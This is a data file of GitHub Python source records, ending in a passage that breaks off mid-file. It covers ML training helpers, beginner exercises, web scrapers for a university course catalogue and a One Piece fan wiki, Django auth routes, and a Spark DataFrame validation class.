+{"seq_id":"38220272059","text":"import pandas as pd\nimport os\nfrom mlhrtds import logger\nimport joblib\nfrom catboost import CatBoostRegressor\nfrom sklearn.model_selection import GridSearchCV\nfrom mlhrtds.entity.config_entity import *\n\n\nclass ModelTrainer:\n    def __init__(self, config: ModelTrainerConfig):\n        self.config = config\n\n    \n    def train(self):\n        train_data = pd.read_csv(self.config.train_data_path)\n        test_data = pd.read_csv(self.config.test_data_path)\n\n\n        train_x = train_data\n        # test_x = test_data.drop([self.config.target_column], axis=1)\n        train_y = test_data\n        print(train_y)\n        # test_y = test_data[[self.config.target_column]]\n\n\n        cr = CatBoostRegressor(verbose=False)\n        parameters = {'depth' : [6,8,10],\n              'learning_rate' : [0.01, 0.05, 0.1],\n              'iterations'    : [30, 50, 100]\n              }\n        grid = GridSearchCV(estimator=cr, param_grid = parameters, cv = 2, n_jobs=-1)\n        grid.fit(train_x, train_y)\n\n        joblib.dump(grid, os.path.join(self.config.root_dir, self.config.model_name))\n","repo_name":"Stanlito-AI/MLOps_ML","sub_path":"src/mlhrtds/components/model_training.py","file_name":"model_training.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"39408401942","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom abstest import my_abs\nimport math\n\n\nprint(my_abs(-10))\n\nprint(abs(-10))\n\n# 空函数\ndef nop():\n    pass  #占位符\n\ndef move(x, y, step, angle=0):\n    nx = x + step * math.cos(angle)\n    ny = y - step * math.sin(angle)\n    return nx, ny    \n\nx, y = move(100, 100, 60, math.pi / 6)\n\nprint(x, y)\n\n\n# 一元二次方程\ndef quadratic(a,b,c):\n  if a == 0:\n    raise TypeError('a不能为0')\n  if not isinstance(a,(int,float)) or not isinstance(b,(int,float)) or not isinstance(c,(int,float)):\n    raise TypeError('Bad operand type')\n  delta = math.pow(b,2) - 4*a*c\n  if delta < 0:\n    return '无实根'\n  x1= (math.sqrt(delta)-b)/(2*a)\n  x2=-(math.sqrt(delta)+b)/(2*a)\n  return x1,x2\na = input(\"请输入a\")\nb=input(\"请输入b\")\nc=input(\"请输入c\")\n\nprint(quadratic(a,b,c))","repo_name":"chenxingyuoo/learn","sub_path":"python_learn/廖雪峰python/2.函数/2.定义函数.py","file_name":"2.定义函数.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"26086887105","text":"from nltk.corpus import wordnet as wn\r\nfrom itertools import product\r\nimport re\r\nimport os.path\r\n\r\n\r\ndef read_file(path):  # read the file and split it into list\r\n    with open(path, \"r\") as file:\r\n        return [re.split(\"\\s+\", line.rstrip('\\n')) for line in file]\r\n\r\n\r\nlist_data = (read_file('SimLex999-100.txt'))\r\ndel list_data[0]  # delete the header\r\ngiven_w1, given_w2, gold_similarity, list_similarity = [], [], [], []\r\n\r\nfor index in list_data:  # get w1, w2 in the lists along with the old similarity\r\n    given_w1.append(index[0])\r\n    given_w2.append(index[1])\r\n    gold_similarity.append(index[2])\r\n\r\nindex_w2 = 0\r\nfor index_w1 in given_w1:  # loop to check the senses of words and cross check the path similarity to get the maximum ones\r\n    w1 = [index_w1]\r\n    w2 = [given_w2[index_w2]]\r\n    list_w1 = set(ss for word in w1 for ss in wn.synsets(word))\r\n    list_w2 = set(ss for word in w2 for ss in wn.synsets(word))\r\n    if list_w1 and list_w2:\r\n        max_similarity = max((wn.path_similarity(w1, w2) or 0.00, w1, w2) for w1, w2 in product(list_w1, list_w2))\r\n        list_similarity.append(max_similarity[0])\r\n    index_w2 += 1\r\n\r\nword_index = 0\r\npredicted_list = \"word1\\tword2\\tGoldSimilarity\\tWordNetSimiliarity\\n\"\r\nfor index in list_similarity:  # loop to add information to the list\r\n    predicted_list += (given_w1[word_index])\r\n    predicted_list += \"\\t\"\r\n    predicted_list += (given_w2[word_index])\r\n    predicted_list += \"\\t\"\r\n    predicted_list += (gold_similarity[word_index])\r\n    predicted_list += \"\\t\"\r\n    predicted_list += str(index)\r\n    predicted_list += \"\\n\"\r\n    word_index += 1\r\n\r\nsave_path = 'BioSim-100-predicted.txt'\r\n\r\nif os.path.exists(save_path):  # check if file exists\r\n    update_file = open(save_path, 'w')  # if yes set the overwrite\r\nelse:\r\n    update_file = open(save_path, 'x')  # if no create it\r\n    update_file = open(save_path, 'w')  # and set the overwrite\r\nupdate_file.write(predicted_list)  # overwrite the information from the list to the file\r\nprint(predicted_list)\r\n","repo_name":"mikeaji/NLP-","sub_path":"question4.py","file_name":"question4.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31854279455","text":"\"\"\"\n@author Thomas Churchman\n\nModule that provides node bucket functionality.\n\"\"\"\n\nimport appstate\n\nclass Bucket:\n    \"\"\"\n    Class to represent a bucket for use in the routing table.\n    \"\"\"\n    def __init__(self, low, high, refreshed, nodes=[]):\n        self.low = low # inclusive\n        self.high = high # inclusive\n        self.refreshed = refreshed\n        self.nodes = nodes\n        \n    def inRange(self, node):\n        \"\"\"\n        Check if the given node (ID) falls in this bucket's ID space.\n        \"\"\"\n        return self.low <= node and node <= self.high\n        \n    def addNode(self, node):\n        \"\"\"\n        Attempt to add a node to the bucket.\n        \"\"\"\n        if not inRange(node):\n            return False\n        \n        if len(self.nodes) >= appstate.AppState.maxBucketSize:\n            return False\n\n        if node in self.nodes:\n            return False\n           \n        self.nodes.append(node)\n        node.bucket = self\n        \n    def __repr__(self):\n        return \"Bucket(low=%r,high=%r,refreshed=%r,nodes=%r)\" % (self.low, self.high, self.refreshed, self.nodes)","repo_name":"tomcur/otdht","sub_path":"dht/bucket.py","file_name":"bucket.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"39902511903","text":"def solve(tokens, power):\r\n    n=len(tokens)\r\n    tokens.sort()\r\n    i=0\r\n    j=n-1\r\n    sc=0\r\n    ans=0\r\n    while(i<=j):\r\n        flag=0\r\n        while(i<=j and tokens[i]<=power):\r\n            power=power-tokens[i]\r\n            i=i+1\r\n            flag=1\r\n            sc=sc+1\r\n\r\n        ans=max(ans,sc)\r\n        if (sc>0 and i<j):\r\n            power=power+tokens[j]\r\n            j=j-1\r\n            flag=1\r\n            sc=sc-1\r\n        if(flag==0):\r\n            return ans\r\n    return ans\r\n\r\nprint(solve([40],50))\r\nprint(solve([100,200],150))\r\nprint(solve([100,200,300,400],200))\r\n","repo_name":"aman1108/Interview-Coding-Questions","sub_path":"Array/Bag of Tokens.py","file_name":"Bag of Tokens.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"7831223789","text":"from RoutineDR import views\nfrom django.urls import path\nfrom rest_framework_simplejwt.views import (\n    TokenVerifyView,\n    TokenObtainPairView,\n    TokenRefreshView,)\n\nurlpatterns = [\n    path('jwt/create/', TokenObtainPairView.as_view(), name='jwt_create'),\n    path('jwt/refresh/', TokenRefreshView.as_view(), name='jwt_refresh'),\n    path('jwt/verify/', TokenVerifyView.as_view(), name='jwt_verify'),\n    path(\"signup/\", views.create_user, name=\"create user\"),\n    path(\"login/\", views.login, name=\"login user\"),\n    ]","repo_name":"PhucLe1419/RoutineDR_BE","sub_path":"RoutineDR/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"42192449890","text":"''' Scrapes some NTU courses to find interesting ones! '''\n\nimport time\n\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import Select\nfrom selenium.webdriver.firefox.service import Service\nfrom selenium.webdriver.common.by import By\n\nfrom webdriver_manager.firefox import GeckoDriverManager\n\n# Define some scraping constants\nURL = 'https://wis.ntu.edu.sg/webexe/owa/aus_subj_cont.main'\nSEMESTER_TERM = '2021_2'\n\nDROPDOWN_WAIT = 2.5\nEXIT_WAIT = 4\nKEYWORDS = ['COMPUTER SCIENCE', 'DATA SCIENCE', 'MATH']\n\ndriver = webdriver.Firefox(service=Service(GeckoDriverManager().install()))\ndriver.get(URL)\n\nsemester_select = Select(driver.find_element(by=By.NAME, value='acadsem'))\n\n# select academic term by value \nsemester_select.select_by_value(SEMESTER_TERM)\n\n# select subject/year by value\nsubject_select = Select(driver.find_element(by=By.NAME, value='r_course_yr'))\n\nall_subjects = [option.text for option in subject_select.options]\nrelevant_subjects = [subject for subject in all_subjects if any(kw in subject.upper() for kw in KEYWORDS)]\n\nclass CourseInfo:\n    ''' Course WebElement parsed into its fields. '''\n    def __init__(self, course_web_element):\n        course_data = course_web_element.find_elements(by=By.TAG_NAME, value='tr')\n        heading_data = course_data[0].find_elements(by=By.TAG_NAME, value='td')\n        self.code = heading_data[0].text\n        self.title = heading_data[1].text\n        self.credits = heading_data[2].text\n        self.description = course_data[-1].text\n        self.subjects = set()\n\ncourses_of_interest = dict()\n\nfor i, subject in enumerate(relevant_subjects):\n    print(f'Scraping {subject}... {i + 1}/{len(relevant_subjects)}')\n    subject_select.select_by_visible_text(subject)\n    \n    # click button to render course catalog for this subject\n    load_courses = driver.find_element(by=By.XPATH, value='//input[@value=\"Load Content of Course(s)\"]')\n    load_courses.click()\n    catalog = driver.find_element(by=By.XPATH, value='//iframe[@name=\"subjects\"]')\n    \n    # switch the webdriver object to the iframe.\n    driver.switch_to.frame(catalog)\n\n    # add the course data in\n    time.sleep(DROPDOWN_WAIT)\n    courses = map(CourseInfo, driver.find_elements(by=By.TAG_NAME, value='table'))\n    for course in courses:\n        if course.code not in courses_of_interest:\n            courses_of_interest[course.code] = course\n        courses_of_interest[course.code].subjects.add(subject)\n    \n    # remember to switch back\n    driver.switch_to.default_content()\n\ntime.sleep(EXIT_WAIT)\ndriver.quit()\n\n# Write the data to a TXT\ncourse_file = open('ntu-courses.txt', 'w')\n\nfor code in sorted(courses_of_interest.keys()):\n    course = courses_of_interest[code]\n    course_file.write(f'===== {course.code} {course.title} {course.credits} =====\\n')\n    course_file.write(course.description + '\\n')\n    course_file.write('In programmes: ' + ', '.join(course.subjects) + '\\n\\n')\n\nprint('Done!')\ncourse_file.close()","repo_name":"54skyxenon/NTU-Scraper","sub_path":"ntu-scraper.py","file_name":"ntu-scraper.py","file_ext":"py","file_size_in_byte":2964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"8169222201","text":"from requests_html import HTMLSession\nfrom bs4 import BeautifulSoup as bs\nimport requests\nimport re\nimport time\n###\nfrom util import (\n    json_save,\n    sup_cite_parser,\n    sup_cite_parser2\n)\nHEADERS = {\"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36 Edg/86.0.622.69\"}\nURL = {\n    'strawhatpirates':'https://onepiece.fandom.com/wiki/Straw_Hat_Pirates',\n    'pirate_crews':{\n        'strawhatpirates':'https://onepiece.fandom.com/wiki/Straw_Hat_Pirates',\n        'bigmom':'https://onepiece.fandom.com/wiki/Big_Mom_Pirates',\n        'beasts':'https://onepiece.fandom.com/wiki/Beasts_Pirates',\n        'redhair':'https://onepiece.fandom.com/wiki/Red_Hair_Pirates',\n        'blacbeard':'https://onepiece.fandom.com/wiki/Blackbeard_Pirates',\n        'whitebeard':'https://onepiece.fandom.com/wiki/Whitebeard_Pirates',\n        'sun':'https://onepiece.fandom.com/wiki/Sun_Pirates',\n        'buggys':'https://onepiece.fandom.com/wiki/Buggy%27s_Delivery',\n        'heart':'https://onepiece.fandom.com/wiki/Heart_Pirates',\n        'baroque':'https://onepiece.fandom.com/wiki/Baroque_Works',\n        'donquixote':'https://onepiece.fandom.com/wiki/Donquixote_Pirates',\n        'thriller_bark':'https://onepiece.fandom.com/wiki/Thriller_Bark_Pirates',\n    },\n    'characters':{\n        # List of Canon Characters\n        'lncanon': 'https://onepiece.fandom.com/wiki/List_of_Canon_Characters',\n        # List_of_Non-Canon_Characters\n        'noncanon': 'https://onepiece.fandom.com/wiki/List_of_Non-Canon_Characters'\n    },\n    'organizations':{\n        'pirates': 'https://onepiece.fandom.com/wiki/Marines',\n        'pirate_crews':'https://onepiece.fandom.com/wiki/Category:Pirate_Crews',\n        'shichibukai':'https://onepiece.fandom.com/wiki/Seven_Warlords_of_the_Sea',\n        'yonko':'https://onepiece.fandom.com/wiki/Four_Emperors',\n        'word_government':'https://onepiece.fandom.com/wiki/World_Government',\n        'revolutionary_army':'https://onepiece.fandom.com/wiki/Revolutionary_Army'\n    },\n    'impeldown': 'https://onepiece.fandom.com/wiki/Impel_Down'\n    \n}\n### Characters\ndef straw_hat_prites_scrapy(path): #https://onepiece.fandom.com/wiki/Straw_Hat_Pirates --> table\n    url = URL['strawhatpirates']\n    req = requests.get(url, headers=HEADERS)\n    soup = bs(req.content, 'html.parser')\n    table = soup('table',class_='sortable')\n    items = {}\n    for i in range(1,len(table[0]('tr')),2):\n        name = table[0]('tr')[i].td.text.strip()\n        unvan = table[0]('tr')[i]('td')[5]\n        item = {\n            'wiki_url':'https://onepiece.fandom.com' + table[0]('tr')[i].td.a.get('href'),\n            'profession': table[0]('tr')[i]('td')[1].text.lower().strip(),\n            'capabilities':table[0]('tr')[i]('td')[2].text.strip().lower().replace(\"\",'').split('\\n'),\n            'epithet':[unvan.b.text.replace('\"','') if unvan.b else unvan.text][0].lower()\n        }\n        items[name] = item\n    json_save(items, path)\ndef pirate_crews_scrapy():\n    req = requests.get(URL['pirate_crews']['whitebeard'], headers = HEADERS)\n    soup = bs(req.content, 'html.parser')\n    items = {}\n    liste = ['status','age','birthday','height','bounty', 'occupations','epithet','japanese_name','devil_fruit','fruit']\n    #print(soup('table',class_='cs')[0]('th')[0].text)\n    for j in soup('div',class_='Gallery-pic')[:-2]:\n        name = j.a.get('title')\n        name_url = 'https://onepiece.fandom.com' + j.a.get('href')\n        rq = requests.get(name_url, headers = HEADERS)\n        view_soup = bs(rq.content, 'html.parser')\n        aside = view_soup('aside')[0]\n        # data verisinin içinde önce listedeki elemanları none olarak atıyoruz sebebi ise bazı karakterlerin bazı özellikleri yok \n        data = {}\n        for li in liste:\n            data[li] = None\n        try:\n            section0 = aside('section',class_='pi-item')[0]\n            section1 = aside('section',class_='pi-item')[1]\n        except:\n            section1 = ''\n        for i in section0('div')[:-2]:\n            if i('h3') != []:\n                h3 = i('h3')[0].text.lower().replace(':','').replace(' ','')\n                for h3_name in liste:\n                    if h3 == h3_name:\n                        print(h3_name , i('div')[0].text)\n                        data[h3_name] = sup_cite_parser2(i('div')[0].text.replace('\\\"','')).strip()\n                        if section1 == '':\n                            data['devil_fruit'] = None\n                        else:\n                            data['devil_fruit'] = 'yes'\n                            data['fruit'] = sup_cite_parser2(section1('div')[0].find('div').text)\n        items[name] = data\n    json_save(items,'whitebeard') \npirate_crews_scrapy()\ndef straw_hat_prites_galery_scrapy(name, path):\n    session = HTMLSession()\n    req = session.get(f'https://onepiece.fandom.com/wiki/{name}/Gallery') \n    titles = bs(req.html.find('#toc')[0].html,'html.parser')\n    items = {}\n    a = 0\n    for x in range(2,len(titles('li')) *2 -1, 2):\n        image_table = req.html.xpath(f'//*[@id=\"mw-content-text\"]/div/table[2]/tbody/tr/td/div[{x}]')\n        soup = bs(image_table[0].html,'html.parser')\n        liste = []\n        for i in soup('span'):\n            data = {\n                'explanation':i('div')[0].text.lower().replace('\\\"','').replace('\\n',''),\n                'img_url':i('td')[0].a.get('href')\n            }\n            liste.append(data)\n        items[req.html.find('.mw-headline')[a].text.lower().replace('&','-').replace(' (','_').replace(')','')] = liste\n        a += 1\n    json_save(items, path)\n    \ndef lncanon_characters_scrapy():\n    req = requests.get(URL['characters']['lncanon'], headers= HEADERS)\n    soup = bs(req.content, 'html.parser')\n    items = {}\n    for x in range(2):\n        for tr in soup('table',class_='wikitable')[x]('tr')[1:]:\n            name = tr('td')[1].text\n            data = {\n                'name_url': 'https://onepiece.fandom.com'+ tr('td')[1].a.get('href'),\n                'chapter_no': tr('td')[2].text.replace('\\n',''),\n                'chapter_no_url':['https://onepiece.fandom.com' + tr('td')[2].a.get('href') if tr('td')[2].a is not None else None][0],\n                'epsido_no':tr('td')[3].text.replace('\\n',''),\n                'epsido_no_url':['https://onepiece.fandom.com'+ tr('td')[3].a.get('href') if tr('td')[3].a is not None else None][0],\n                'year':tr('td')[4].text.replace('\\n',''),\n                'note':tr('td')[5].text.replace('\\n','')\n            }\n            items[name.lower().replace(' ','_').replace('\\n','')] = data\n    json_save(items, 'lncanon')\n    \ndef non_canon_characters_scrapy(): \n    req = requests.get(URL['characters']['noncanon'], headers=HEADERS)\n    soup = bs(req.content, 'html.parser')\n    items = {}\n    for tr in soup('table',class_='wikitable')[0]('tr')[1:]:\n        name = tr('td')[1].text\n        data = {\n            'name_url':'https://onepiece.fandom.com'+ tr('td')[1].a.get('href'),\n            'type':tr('td')[2].text,\n            'number':tr('td')[3].text,\n            'year':tr('td')[4].text,\n            'appears_in':tr('td')[5].text.replace('\\n',''),\n            'appears_in_url':['https://onepiece.fandom.com' + tr('td')[5].a.get('href') if tr('td')[5].a is not None else None][0]\n        }\n        items[name.lower()] = data\n    json_save(items, 'noncanon1')\n    \n### Organizations\ndef organizations_marines_scrapy():\n    req = requests.get(URL['organizations']['marines'], headers = HEADERS)\n    soup = bs(req.content, 'html.parser')\n    items = {}\n    for i in soup('div',class_='Gallery-pic'):\n        name = i.a.get('title')\n        # data = {\n        #     'name_url': ,\n        #     #'image_url':i.img.get('data-src')\n        # }\n        items[name.lower()] = 'https://onepiece.fandom.com/' + i.a.get('href')\n    json_save(items,'marines')\n\ndef organizations_shichibukai_scrapy():\n    req = requests.get(URL['organizations']['shichibukai'], headers = HEADERS)\n    soup = bs(req.content, 'html.parser')\n    items = {}\n    for i in soup('table', class_='sortable')[0]('tr')[1:]:\n        name = i('td')[0].a.get('title').lower()\n        data = {\n            'age': i('td')[1].text.strip().replace('\\n',''),\n            'height':i('td')[2].text[:5],\n            'birthday':sup_cite_parser(i('td')[3].text.replace('\\n','')),\n            'bounty': sup_cite_parser(i('td')[4].text.replace('\\n','')),\n            'epithet':[i('td')[6].b.text if i('td')[6].b is not None else ''][0].lower()    \n        }\n        for powers in i('td')[5]('li'):\n            data['abilities_and_powers'] = powers.text\n        items[name] = data\n    print(items)\n    #json_save(items, 'shichibukai')\ndef organizations_yonko_scrapy():\n    req = requests.get(URL['organizations']['yonko'], headers = HEADERS)\n    soup = bs(req.content, 'html.parser')\n    \nif __name__=='__main__':\n    # straw_hat_prites_scrapy('mugivara no lufi')\n    pass\n    #pirate_crews_scrapy()\n    # Straw hat prites galery\n    #(Tony_Tony_Chopper, path)\n    #straw_hat_prites_galery_scrapy('Monkey_D._Luffy','mdluffy')\n    # straw_hat_prites_galerry_scrapy('Roronoa_Zoro')\n    # straw_hat_prites_galerry_scrapy('Nami')\n    # straw_hat_prites_galerry_scrapy('Sanji')\n    # straw_hat_prites_galerry_scrapy('Tony_Tony_Chopper')\n    # straw_hat_prites_galerry_scrapy('Nico_Robin')\n    # straw_hat_prites_galerry_scrapy('Franky')\n    # straw_hat_prites_galerry_scrapy('Brook')\n    # straw_hat_prites_galerry_scrapy('Jinbe')\n\n    #non_canon_characters_scrapy()\n    #lncanon_characters_scrapy()\n    \n    #organizations_marines_scrapy()\n    #organizations_shichibukai_scrapy()","repo_name":"s3m1h/one_piece_scraper","sub_path":"onepiece_scrapy.py","file_name":"onepiece_scrapy.py","file_ext":"py","file_size_in_byte":9672,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"24253098040","text":"from openapi_core.casting.schemas.casters import ArrayCaster\nfrom openapi_core.casting.schemas.casters import CallableSchemaCaster\nfrom openapi_core.casting.schemas.casters import DummyCaster\nfrom openapi_core.casting.schemas.util import forcebool\n\n\nclass SchemaCastersFactory:\n\n    DUMMY_CASTERS = [\n        \"string\",\n        \"object\",\n        \"any\",\n    ]\n    PRIMITIVE_CASTERS = {\n        \"integer\": int,\n        \"number\": float,\n        \"boolean\": forcebool,\n    }\n    COMPLEX_CASTERS = {\n        \"array\": ArrayCaster,\n    }\n\n    def create(self, schema):\n        schema_type = schema.getkey(\"type\", \"any\")\n\n        if schema_type in self.DUMMY_CASTERS:\n            return DummyCaster(schema)\n\n        if schema_type in self.PRIMITIVE_CASTERS:\n            caster_callable = self.PRIMITIVE_CASTERS[schema_type]\n            return CallableSchemaCaster(schema, caster_callable)\n\n        return ArrayCaster(schema, self)\n","repo_name":"pepijn-motosumo/openapi-core","sub_path":"openapi_core/casting/schemas/factories.py","file_name":"factories.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"60"}
+{"seq_id":"36833735694","text":"import torch\nimport numpy as np\nfrom util.box_ops import box_cxcywh_to_xyxy_list, box_cxcywh_to_xyxy\nfrom util.misc import get_world_size\nimport mmcv\n\n\nmean_tensor = torch.tensor([0.485, 0.456, 0.406]).view(1, 1, 1, 3)\nstd_tensor = torch.tensor([0.229, 0.224, 0.225]).view(1, 1, 1, 3)\n\n\n# @torch.jit.script\ndef batchtensor2numpyimg(batch):\n    \"\"\"\n    Convert a batch of tensor to numpy image\n    :param batch: a batch of tensor\n    :return: list of numpy image\n    \"\"\"\n    batch = batch.permute(\n        0, 2, 3, 1).cpu()\n    batchlen = batch.shape[0]\n    # unnormal\n    batch.mul_(std_tensor).add_(mean_tensor)\n    batch = batch*255\n    batch = batch.clamp(0, 255)\n    batch = batch.byte().numpy()\n    batch = np.split(batch, batchlen)\n    return batch\n\n\ndef aggregate_loss(loss_dict, sup_box_mask, sup_batch_mask, device, box_key=['giou', 'bbox'], batch_key=['ce']):\n    allkey = box_key+batch_key\n    loss = {k: [] for k in allkey}\n    for key in loss:\n        for k, v in loss_dict.items():\n            if key in k:\n                loss[key].append(v)\n\n    sup_boxes = torch.sum(sup_box_mask)\n    # sup_boxes = torch.as_tensor(\n    #     [sup_boxes], dtype=torch.float, device=device)\n\n    unsup_boxes = torch.sum(~sup_box_mask)\n    # unsup_boxes = torch.as_tensor(\n    #     [unsup_boxes], dtype=torch.float, device=device)\n\n    reduce_stack = torch.stack([unsup_boxes, sup_boxes])\n    torch.distributed.all_reduce(reduce_stack)\n    unsup_boxes = reduce_stack[0]\n    sup_boxes = reduce_stack[1]\n    unsup_boxes = torch.clamp(\n        unsup_boxes / get_world_size(), min=1e-2).item()\n    sup_boxes = torch.clamp(\n        sup_boxes / get_world_size(), min=1e-2).item()\n    # print('sup_boxes: ',sup_boxes,'unsup_boxes: ',unsup_boxes)\n\n    loss = {k: sum(v) for k, v in loss.items()}\n    loss_sup = {k: [] for k in allkey}\n    loss_unsup = {k: [] for k in allkey}\n    for k, v in loss.items():\n        if k in box_key:\n            loss_sup[k] = v[sup_box_mask].sum()/sup_boxes\n            loss_unsup[k] = v[~sup_box_mask].sum()/unsup_boxes\n        elif k in batch_key:\n            loss_sup[k] = v[sup_batch_mask].sum()/sup_boxes\n            loss_unsup[k] = v[~sup_batch_mask].sum()/unsup_boxes\n    return loss_sup, loss_unsup\n\n\ndef teacher_transforms_single(trans, single_task):\n    '''\n    single_task: [0] img numpy array\n                [1] boxes list of list\n                [2]orig_size (w,h)\n    '''\n    img = single_task[0]\n    boxes = single_task[1]\n    orig_size = single_task[2]\n    boxes = [box_cxcywh_to_xyxy_list(b) for b in boxes]\n    out = trans(image=img, bboxes=boxes)\n    return out, boxes\n\n\ndef teacher_transforms_single_mm(trans, single_task):\n    '''\n    single_task: [0] img numpy array\n                [1] boxes list of list\n                [2]orig_size (w,h)\n    return transformed img (np) and box (np or list)\n    '''\n    img = single_task[0]\n    boxes = single_task[1]\n    w, h = single_task[2]\n    boxes = [box_cxcywh_to_xyxy_list(b) for b in boxes]\n    boxes = np.array(boxes).reshape(-1, 5)\n    boxes = boxes[:, :4]\n    scale = np.array([w, h, w, h]).reshape(1, 4)\n\n    results = {'img_fields': ['img'],\n               'bbox_fields': ['boxes'],\n               'img_shape': img.shape,\n               'img': img,\n               'boxes': boxes*scale,\n               #          'gt_labels':[0,0],\n               }\n    results = trans(results)\n    h, w, _ = results['img_shape']\n    scale_back = np.array([w, h, w, h]).reshape(1, 4)\n    out = {\n        'image': results['img'],\n        'bboxes': results['boxes']/scale_back,\n    }\n    return out, boxes\n","repo_name":"youshyee/DCLDet","sub_path":"util/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":3581,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"}
+{"seq_id":"27015340673","text":"import os\nimport logging\n\nfrom typing import NamedTuple, List\n\nfrom pyspark.sql import DataFrame, SparkSession\n\nimport honeycomb.filesystem\nimport honeycomb.utils\n\nfrom honeycomb._constraints._constraint import _Constraint, _ConstraintFactory\nfrom honeycomb._constraints._notnull import _NotNull\nfrom honeycomb._constraints._numbers import _Min, _Max, _Between\nfrom honeycomb._constraints._oneof import _OneOf\nfrom honeycomb._constraints._textlength import _TextLength\nfrom honeycomb._constraints._textregex import _TextRegex\nfrom honeycomb._constraints._unique import _Unique\nfrom honeycomb._constraints._uniqueset import _UniqueSet\n\nLOGGER = logging.getLogger(__name__)\n\n\nclass ValidationError(NamedTuple):\n    column_names: List[str]\n    constraint_name: str\n    number_of_errors: int\n\n\nclass ValidationResult(NamedTuple):\n    correct_data: DataFrame\n    erroneous_data: DataFrame\n    errors: List[ValidationError]\n\n\nclass Validation(object):\n    \"\"\"\n    Describes the validation rules of a Spark DataFrame and performs the validation.\n\n    // TODO update the example when there is a new validation rule\n    Usage example:\n        Validation(spark_session, df) \\\n            .is_not_null(\"column_name\") \\\n            .are_not_null([\"column_name_2\", \"column_name_3\"]) \\\n            .is_min(\"numeric_column\", 10) \\\n            .is_max(\"numeric_column\", 20) \\\n            .is_unique(\"column_name\") \\\n            .are_unique([\"column_name_2\", \"column_name_3\"]) \\\n            .execute()\n    \"\"\"\n\n    def __init__(self, spark: SparkSession, df: DataFrame, config: dict = None):\n        self._spark: SparkSession = spark\n        self._df: DataFrame = df\n        self._input_columns: List[str] = df.columns\n        self._constraints: List[_Constraint] = []\n        if config:\n            self._load(config)\n\n    def is_unique(self, column_name: str):\n        \"\"\"\n        Defines a constraint that checks whether the given column contains only unique values.\n        :param column_name: the name of the column\n        :raises ValueError: if an unique constraint for a given column already exists.\n        :return: self\n        \"\"\"\n        self._add_constraint(_Unique(column_name))\n        return self\n\n    def is_primary_key(self, column_name: str):\n        \"\"\"\n        Defines a constraint that checks whether the given column contains only unique values.\n        :param column_name: the name of the column\n        :raises ValueError: if an unique constraint for a given column already exists.\n        :return: self\n        \"\"\"\n        self._add_constraint(_Unique(column_name))\n        return self\n\n    def is_composite_key(self, column_names: List[str]):\n        \"\"\"\n        Defines a constraint that checks whether the given columns contains only unique combinations.\n        :param column_name: the name of the column\n        :raises ValueError: if an unique constraint for a given column already exists.\n        :return: self\n        \"\"\"\n        return self.are_unique(column_names)\n\n    def are_unique(self, column_names: List[str]):\n        \"\"\"\n        Defines constraints that check whether given columns contain only unique values.\n        :param column_names: a list of column names\n        :return: self\n        \"\"\"\n        self._add_constraint(_UniqueSet(column_names))\n        return self\n\n    def are_primary_keys(self, column_names: List[str]):\n        \"\"\"\n        Defines constraints that check whether given columns contain only unique values.\n        :param column_names: a list of column names\n        :return: self\n        \"\"\"\n        for column_name in column_names:\n            self.is_unique(column_name)\n        return self\n\n    def is_not_null(self, column_name: str):\n        \"\"\"\n        Defines a constraint that does not allow null values in a given column.\n        :param column_name: the column name\n        :return: self\n        \"\"\"\n        self._add_constraint(_NotNull(column_name))\n        return self\n\n    def are_not_null(self, column_names: List[str]):\n        \"\"\"\n        Defines constraints that don't allow null values in all of the given columns\n        :param column_names: a list of column names\n        :return: self\n        \"\"\"\n        for column_name in column_names:\n            self.is_not_null(column_name)\n        return self\n\n    def is_min(self, column_name: str, value: int):\n        \"\"\"\n        Defines a constraint that check whether the given column contains values equal or larger than a given integer.\n        :param column_name: the column name\n        :param value: the minimal value\n        :return: self\n        \"\"\"\n        self._add_constraint(_Min(column_name, value))\n        return self\n\n    def is_max(self, column_name: str, value: int):\n        \"\"\"\n        Defines a constraint that check whether the given column contains values equal or smaller than a given integer.\n        :param column_name: the column name\n        :param value: the maximal value\n        :return: self\n        \"\"\"\n        self._add_constraint(_Max(column_name, value))\n        return self\n\n    def is_between(self, column_name, lower_bound, upper_bound):\n        \"\"\"\n        Defines a constraint that checks whether the given column contains a value equal to or between the lower and upper bound.\n        :param column_name: the column name\n        :param lower_bound: the lower bound of the range\n        :param upper_bound: the upper bound of the range\n        :return: self\n        \"\"\"\n        self._add_constraint(_Between(column_name, lower_bound, upper_bound))\n        return self\n\n    def has_length_between(self, column_name, lower_bound, upper_bound):\n        \"\"\"\n        Defines a constraint that checks whether the given column contains a text which length is equal to or between the lower and upper bound.\n        :param column_name: the column name\n        :param lower_bound: the lower bound of the text length\n        :param upper_bound: the upper bound of the text length\n        :return: self\n        \"\"\"\n        self._add_constraint(_TextLength(column_name, lower_bound, upper_bound))\n        return self\n\n    def text_matches_regex(self, column_name, regex):\n        \"\"\"\n        Defines a constraint that checks whether the content of a given column matches the given regex.\n        :param column_name: the column name\n        :param regex: the regex\n        :return: self\n        \"\"\"\n        self._add_constraint(_TextRegex(column_name, regex))\n        return self\n\n    def one_of(self, 